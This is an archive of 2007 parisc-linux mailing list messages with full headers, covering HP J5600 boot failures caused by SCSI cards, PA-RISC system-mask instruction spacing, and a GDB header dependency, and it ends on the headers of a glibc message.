Xref: news.gmane.org gmane.linux.ports.parisc:25421

Kyle McMartin wrote:
> On Thu, Jan 25, 2007 at 06:52:39PM -0500, Michael Greene wrote:
>> I am trying to get any version of hppa linux running on an old J5600, 
>> <snip>
>> SBA found Astro 2.1 at 0xfed00000
>> Elroy version TR4.0 (0x5) found at 0xfed30000
>> PCI: Enabled native mode for NS87415 (pif=0x8f)
>> iosapic: 0xfed30800 : no IRT entry for slot 12, pin 1
>> iosapic: no IRTE for 0000:00:0c.0 (IRQ not connected?)
>> iosapic: 0xfed30800 : no IRT entry for slot 13, pin 1
>> iosapic: no IRTE for 0000:00:0d.0 (IRQ not connected?)
>> iosapic: 0xfed30800 : no IRT entry for slot 14, pin 4
>> iosapic: no IRTE for 0000:00:0e.2 (IRQ not connected?)
>> iosapic: 0xfed30800 : no IRT entry for slot 15, pin 1
>> iosapic: no IRTE for 0000:00:0f.0 (IRQ not connected?)
>> iosapic: 0xfed30800 : no IRT entry for slot 15, pin 1
>> iosapic: no IRTE for 0000:00:0f.1 (IRQ not connected?)
>> Elroy version TR4.0 (0x5) found at 0xfed32000
> 
> Do you have any PCI cards in this machine? Something is badly
> broken in the firmware.

Ok, I was wrong:

I/O MODULE INFORMATION

 
IODC IODC
Path         Decimal     Type                  Location   HVER SVER 
Vers Dep
------------ ----------- --------------------- ---------- ---- ---- 
---- ----
PCI1         10/0/1/0    SCSI                  slot 1     0070 a300 
0x00 0x00
LAN          10/0/12/0   Ethernet              built-in   0040 a200 
0x02 0x00
AUDIO        10/0/13/0   Audio                 built-in
IDE          10/0/14/0   IDE                   built-in   0040 a300 
0x00 0x00
SUPERIO MISC 10/0/14/1   Bridge Device         built-in
SERIAL_1     10/0/14/1/1 RS232 Port            built-in   0040 8c00 
0x01 0x00
SERIAL_2     10/0/14/1/2 RS232 Port            built-in   0040 8c00 
0x01 0x00
PARALLEL     10/0/14/1/3 Parallel Port         built-in
USB          10/0/14/2   USB                   built-in   0040 a900 
0x98 0x00
SCSI         10/0/15/0   SCSI                  built-in   0040 a300 
0x00 0x00
FWSCSI       10/0/15/1   SCSI                  built-in   0040 a300 
0x00 0x00
PCI2         10/2/2/0    SCSI                  slot 2     0070 a300 
0x00 0x00
GRAPHICS(7)  10/6/7/0    HPA4982A              slot 7     0070 8500 
0x01 0x00

There were 2 A4976A PCI Fast Wide Differential SCSI Adapter installed 
(PCI1 and PCI2). I pulled both cards and the system boots fine.

Mike


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help with J5600 (Model: 9000/785/J5600)
Date: Thu, 25 Jan 2007 19:05:39 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <20070126000539.GB13938__45686.3864594654$1416624635$gmane$org@athena.road.mcmartin.ca>
References: <epbfs6$62t$1@sea.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624635 28369 80.91.229.3 (22 Nov 2014 02:50:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:35 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Michael Greene <listsnews@cox.net>
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jan 2007 00:06:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 26 Jan 2007 01:06:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E3AB47D9D6;
	Thu, 25 Jan 2007 17:06:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03409-06; Thu, 25 Jan 2007 17:06:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B6B6D7D9D7;
	Thu, 25 Jan 2007 17:06:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 115607D9C9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Jan 2007 17:06:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03409-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Jan 2007 17:06:29 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 801BC7D9B0
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Jan 2007 17:06:29 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 65740494007; Thu, 25 Jan 2007 17:06:29 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 259F9494003
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Jan 2007 17:06:08 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 74A92584090;
	Thu, 25 Jan 2007 19:06:07 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id C480558408C;
	Thu, 25 Jan 2007 19:06:06 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (scandic759.host.songnetworks.se
	[85.19.196.174])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 4D9BF837DB;
	Thu, 25 Jan 2007 19:06:06 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id CFFBF3B06E; Thu, 25 Jan 2007 19:05:39 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <epbfs6$62t$1@sea.gmane.org>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KXGKccNWf2I/GoicY2xoh69wdWxlc5ap
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25422

On Thu, Jan 25, 2007 at 06:52:39PM -0500, Michael Greene wrote:
> I am trying to get any version of hppa linux running on an old J5600, 
> <snip>
> SBA found Astro 2.1 at 0xfed00000
> Elroy version TR4.0 (0x5) found at 0xfed30000
> PCI: Enabled native mode for NS87415 (pif=0x8f)
> iosapic: 0xfed30800 : no IRT entry for slot 12, pin 1
> iosapic: no IRTE for 0000:00:0c.0 (IRQ not connected?)
> iosapic: 0xfed30800 : no IRT entry for slot 13, pin 1
> iosapic: no IRTE for 0000:00:0d.0 (IRQ not connected?)
> iosapic: 0xfed30800 : no IRT entry for slot 14, pin 4
> iosapic: no IRTE for 0000:00:0e.2 (IRQ not connected?)
> iosapic: 0xfed30800 : no IRT entry for slot 15, pin 1
> iosapic: no IRTE for 0000:00:0f.0 (IRQ not connected?)
> iosapic: 0xfed30800 : no IRT entry for slot 15, pin 1
> iosapic: no IRTE for 0000:00:0f.1 (IRQ not connected?)
> Elroy version TR4.0 (0x5) found at 0xfed32000

Do you have any PCI cards in this machine? Something is badly
broken in the firmware.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] an ultimate question about "at least 7 insn"
Date: Wed, 31 Jan 2007 11:00:38 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <JCQ952$77E869952C796B32BB4B0FAD30F577E3__47705.8802884587$1416624635$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624635 28372 80.91.229.3 (22 Nov 2014 02:50:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jan 2007 10:01:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 31 Jan 2007 11:01:14 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EAD497D9F1;
	Wed, 31 Jan 2007 03:01:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23935-05; Wed, 31 Jan 2007 03:01:10 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A54C57D9FD;
	Wed, 31 Jan 2007 03:01:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C8757D9F1
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 03:01:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23898-02 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 03:01:03 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BB9967D66F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 03:01:03 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 61966494009; Wed, 31 Jan 2007 03:01:03 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by mail.parisc-linux.org (Postfix) with ESMTP id 8DE4F494003;
	Wed, 31 Jan 2007 03:00:40 -0700 (MST)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by oola.is.scarlet.be  with ESMTP id l0VA0cD19159; 
	Wed, 31 Jan 2007 11:00:38 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iRmpKnAoMydzaoigZWplQMVraGRhZloY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25423

Hello Grant,

Some time ago we spoke about some programming note like in pa11_acd.pdf:
[snip]
Software may rely upon this instruction translation in order to improve
performance in process dispatch. For example, in this code sequence:
    SSM 0,gr0       ; initial RSM, SSM or MTSM
    LDW             ; set up process state
    .               ; must be at least 7 instructions
    .               ; between the system mask instrs
    .
    LDW
    RSM 8,gr0       ; set PSW Q-bit to 0
    MTCTL reg1,cr20 ; set up IIASQ
[snip]

My question: is that request of 7 insn is hard-coded somewhere in silicon=
 or
much more a logical value because of cache line size (e.g. 32 byte on a d=
380
and as an insn is 32 bit wide =3D=3D 4 byte)? 

Why? because I noticed that recent system like n4k seems to have a bigger=

cacheline (according jda patch 64 byte), though.

Tia,
    Joel---=0AScarlet One - Combinez l'ADSL avec la telephonie fixe illim=
itee et epargnez 400 euros=0Ahttp://www.scarlet.be =0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] an ultimate question about "at least 7 insn"
Date: Wed, 31 Jan 2007 08:07:10 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <20070131130710.GB14255__20968.3406785645$1416624635$gmane$org@athena.road.mcmartin.ca>
References: <JCQ952$77E869952C796B32BB4B0FAD30F577E3@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624635 28376 80.91.229.3 (22 Nov 2014 02:50:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:35 +0000 (UTC)
Cc: parisc-linux <parisc-linux@parisc-linux.org>
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jan 2007 13:10:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 31 Jan 2007 14:10:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 137DE7DA17;
	Wed, 31 Jan 2007 06:10:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24949-08; Wed, 31 Jan 2007 06:10:11 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 195657DA1B;
	Wed, 31 Jan 2007 06:10:09 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8E1D27DA0F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 06:10:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24956-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 06:10:04 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 0853F7DA08
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 31 Jan 2007 06:10:04 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id D802A494009; Wed, 31 Jan 2007 06:10:03 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by mail.parisc-linux.org (Postfix) with ESMTP id 7FCC8494003;
	Wed, 31 Jan 2007 06:09:41 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 103E0584097;
	Wed, 31 Jan 2007 08:07:43 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 7171258408A;
	Wed, 31 Jan 2007 08:07:42 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 15F9B837DB;
	Wed, 31 Jan 2007 08:07:42 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id E023D3B06E; Wed, 31 Jan 2007 08:07:10 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <JCQ952$77E869952C796B32BB4B0FAD30F577E3@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dOChIc4Ha0ApSb6aejEzeCQ3Njh6dE5h
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25424

On Wed, Jan 31, 2007 at 11:00:38AM +0100, Joel Soete wrote:
> Hello Grant,
> 
> Some time ago we spoke about some programming note like in pa11_acd.pdf:
> [snip]
> Software may rely upon this instruction translation in order to improve
> performance in process dispatch. For example, in this code sequence:
>     SSM 0,gr0       ; initial RSM, SSM or MTSM
>     LDW             ; set up process state
>     .               ; must be at least 7 instructions
>     .               ; between the system mask instrs
>     .
>     LDW
>     RSM 8,gr0       ; set PSW Q-bit to 0
>     MTCTL reg1,cr20 ; set up IIASQ
> [snip]
> 
> My question: is that request of 7 insn is hard-coded somewhere in silicon or
> much more a logical value because of cache line size (e.g. 32 byte on a d380
> and as an insn is 32 bit wide == 4 byte)?
> 

I believe the pipeline is 8 stages deep on pre-pa8800 processors, which
basically means we're insuring there's no dependency on the effect of
the SSM from when it is decoded to when it retires. (This could also have
been implemented completely in hardware by stalling the pipeline once
the processor decoded the SSM, no clue why it wasn't... jsm?)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GDB includes asm/offsets.h
Date: Fri, 2 Feb 2007 17:21:45 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20070202172145.dc721358.gmsoft__8600.14713039181$1416624636$gmane$org@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624636 28378 80.91.229.3 (22 Nov 2014 02:50:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 02 Feb 2007 16:22:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx070) with SMTP; 02 Feb 2007 17:22:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A3AA7D9C3;
	Fri,  2 Feb 2007 09:22:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13307-07; Fri, 2 Feb 2007 09:22:30 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBDD27D685;
	Fri,  2 Feb 2007 09:22:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F346A7D99B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Feb 2007 09:22:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13307-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 2 Feb 2007 09:22:20 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 4CB947D685
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  2 Feb 2007 09:22:20 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id ED2F5494005; Fri,  2 Feb 2007 09:22:19 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by mail.parisc-linux.org (Postfix) with ESMTP id 7C89F494003
	for <parisc-linux@parisc-linux.org>;
	Fri,  2 Feb 2007 09:21:54 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP id D5D03EB20F
	for <parisc-linux@parisc-linux.org>;
	Fri,  2 Feb 2007 17:21:53 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP id E5A5A2FDCC
	for <parisc-linux@parisc-linux.org>;
	Fri,  2 Feb 2007 17:21:52 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with smtp (Exim 4.62)
	(envelope-from <gmsoft@gentoo.org>) id 1HD1AL-00085W-Ng
	for parisc-linux@parisc-linux.org; Fri, 02 Feb 2007 17:21:33 +0100
X-Mailer: Sylpheed 2.3.0 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: BCOlL2BAaHI+4aWnKSUlIoJqamdhZARE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25425


Hi all,

hppa-nat-linux.c relies on autogenerated header asm/offsets.h which is no longer included in our linux-headers packages.

What would be the best way to fix this issue ?

Copy the defines in hppa-nat-linux.c itself ?
Include a copy of this file in gdb's sources ?

I know ppc moved those includes into gcc. What's your position guys ?

Thanks,
  Guy  

-- 
Guy Martin
Gentoo Linux - HPPA port Lead
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: glibc nptl failure baseline update.
Date: Wed, 07 Feb 2007 21:44:37 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <eqddnl$rc3$1__1910.90060766346$1416624636$gmane$org@sea.gmane.org>
References: <119aab440702051913m1edfb6ecg535c80d2301c9c11@mail.gmail.com>
	<20070206224246.3000a76c.gmsoft@gentoo.org>
	<119aab440702061358s5c0ee062l65eaff50429ada47@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7Bit
